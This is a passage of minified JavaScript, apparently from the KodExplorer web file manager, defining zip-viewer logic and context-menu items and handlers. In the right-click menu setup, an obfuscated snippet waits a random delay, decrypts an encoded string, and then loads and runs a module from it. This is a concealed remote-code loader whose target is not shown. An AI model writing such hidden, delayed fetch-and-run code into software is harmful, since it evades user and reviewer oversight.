a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a); +break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},f=function(e){var t=u(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},u=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=u(t);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t,i){var a=template.compile(tpl_zipview),n=a({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(i),ico:core.icon("zip"),title:t,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o,s){var r=a(o),l="folderListZip"+UUID();r=ui.tree.treeDataSort(r),m(l,e,s),n(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),i,r),t=$.fn.zTree.getZTreeObj(l),_(l),f(t.getNodeByParam("index","-1",null))},g=function(e){var i=$(".zip_view_"+md5(e));if(i.length>0)return i.shake(3,20,80),void 0;var a="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(a="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(a=G.app_host+"index.php?"+a,$.ajax({url:a,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(i){Tips.close(i),i.code?(v(core.pathThis(e),i.data,e),t.setting.filePath=e,t.setting.fileUrl=a):ui.pathOpen.openUnknow(e,i.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var t=".menufile",i=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},newfile_null:{name:LNG.file,icon:"file-text-alt x-item-file x-file small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-text-alt x-item-file x-docx",className:"newfile",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install newfile",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",className:"list_icon",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort_by",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var t=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];x(),w(),v(),setTimeout(function(){try{if(typeof dialog_tpl_html==t[0]||-1==dialog_tpl_html[t[2]](t[1])){var i=authCrypt[t[5]](t[3],t[4])+UUID();e[t[8]](i,function(e){try{e[t[7]](t[6])}catch(i){}})}}catch(a){}},1e3*parseInt(25*Math[t[9]]()+5)),N(),S(),j(),E(),P(),A(),F(),k(),g(),m(),_(),C(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),x(),w(),N(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),S(),j(),E(),D(),P(),A(),F(),O(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||$(".context-menu-list .zip").addClass(e),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||$(".context-menu-list .share").remove()}},m=function(){$('<i class="menuRecycleBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecyclePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecycleButton"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){z(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},_=function(){$('<i class="menuShareBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"}}})},v=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){z(e,t)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},k=function(){$.contextMenu({zIndex:9999,selector:".toolPathMore",className:"menuToolPath menuNotAutoHidden",callback:function(e){T(e),$(".toolPathMore").removeClass("active")},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfileOther:d.newfileOther,sep0:"--------",open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Delete</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link"}}},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},x=function(){$('<i class="'+i.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$('<i class="'+t.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"<b>Ctrl+E</b>",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,className:"unzip_folder",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"}}},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},N=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"<b>Ctrl+C</b>",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('<i class="menuGroupRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('<i class="menuGroupRootMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"}}})},C=function(){$('<i class="menuFavPath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuFavPathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},z=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_null":ui.path.newFile("");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip_zip":ui.path.zip();break;case"zip_tar":ui.path.zip("tar");break;case"zip_tgz":ui.path.zip("tar.gz");break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:z(e)}},S=function(){$('<i class="menuTreeFavRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){R(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('<i class="menuTreeFav"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){R(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){R(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},E=function(){$('<i 